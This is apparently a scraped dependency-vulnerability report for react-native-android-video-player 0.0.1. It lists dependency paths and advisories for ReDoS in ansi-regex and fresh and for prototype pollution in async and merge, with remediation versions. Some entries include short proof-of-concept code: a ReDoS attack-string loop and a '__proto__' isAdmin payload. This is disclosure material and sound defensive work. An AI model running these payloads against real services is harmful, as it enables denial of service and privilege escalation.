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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tar@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tarbz2@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-targz@3.1.0 › strip-dirs@1.1.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-unzip@3.4.0 › strip-dirs@1.1.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tar@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tarbz2@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-targz@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-unzip@3.4.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-fbjs@2.3.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › babel-preset-react-native@1.9.2 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tar@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tarbz2@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-targz@3.1.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-unzip@3.4.0 › strip-dirs@1.1.1 › sum-up@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › babel-preset-fbjs@1.0.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: async
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › async@1.5.2Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the mapValues()
method.
PoC
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
//does not have the property, because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);
async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
// after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
console.log(result.isAdmin);
});
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade async
to version 2.6.4, 3.2.2 or higher.
References
high severity
- Vulnerable module: fresh
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › fresh@0.3.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-favicon@2.3.2 › fresh@0.3.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › serve-static@1.10.3 › send@0.13.2 › fresh@0.3.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
fresh
is HTTP response freshness testing.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */
) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fresh
to version 0.5.2 or higher.
References
high severity
- Vulnerable module: merge
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › sane@1.4.1 › exec-sh@0.2.2 › merge@1.2.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.
Affected versions of this package are vulnerable to Prototype Pollution. The 'merge' function already checks for 'proto' keys in an object to prevent prototype pollution, but does not check for 'constructor' or 'prototype' keys.
Details
